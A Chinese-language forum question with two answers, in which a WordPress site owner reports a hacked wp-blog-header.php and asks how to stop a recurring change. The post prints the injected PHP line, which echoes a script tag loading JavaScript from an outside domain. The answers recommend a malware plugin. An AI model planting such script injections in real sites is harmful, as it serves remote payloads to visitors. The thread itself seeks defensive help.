我的wordpress网站被黑了[重复]

Question

由于某种原因，我的网站被黑了。

我检查了我的 FTP 文件，发现 wp-blog-header.php 最近被修改了。

这是我的wp-blog-header.php 在被黑之前：

<?php  
/**
 * Loads the WordPress environment and template.
 *
 * @package WordPress
 */

if ( !isset($wp_did_header) ) {

    $wp_did_header = true;

    require_once( dirname(__FILE__) . '/wp-load.php' );

    wp();

    require_once( ABSPATH . WPINC . '/template-loader.php' );

}

这是我被黑后的文件：

<?php echo "<script type='text/javascript' src='http://www.oxxtm.com/images/wp-logo.js'></script>"; 
/**
 * Loads the WordPress environment and template.
...

所以，他们将这一行添加到我的文件中：

echo "<script type='text/javascript' src='http://www.oxxtm.com/images/wp-logo.js'></script>"; 

当我删除此行时，我的网站运行良好，但几个小时后他们又添加了此行。我检查了我的数据库行，但没有发现任何问题。 在我看来，这是一个新的失败。我昨天用谷歌搜索了它，我找不到太多，只有一些法国网站他们没有任何明确的解决这个问题的方法。那么，有没有人经历过呢？

这些是我在本网站中使用的插件及其各自的版本：

WordPress v4.1.8
Advanced Custom Fields v4.0.0

Answer 1

使用一个插件 Anti-Malware GOTMLS.NET https://wordpress.org/plugins/gotmls/ 它已经为我们解决了完全相同的问题，到目前为止一切顺利，差不多 24 小时，脚本还没有被看到。

Answer 2

我也遇到了。幸运的是，我刚刚安装了一个安全插件，它提醒我有一个我知道未经授权的登录，我现在正在调查，并将再次在这里更新。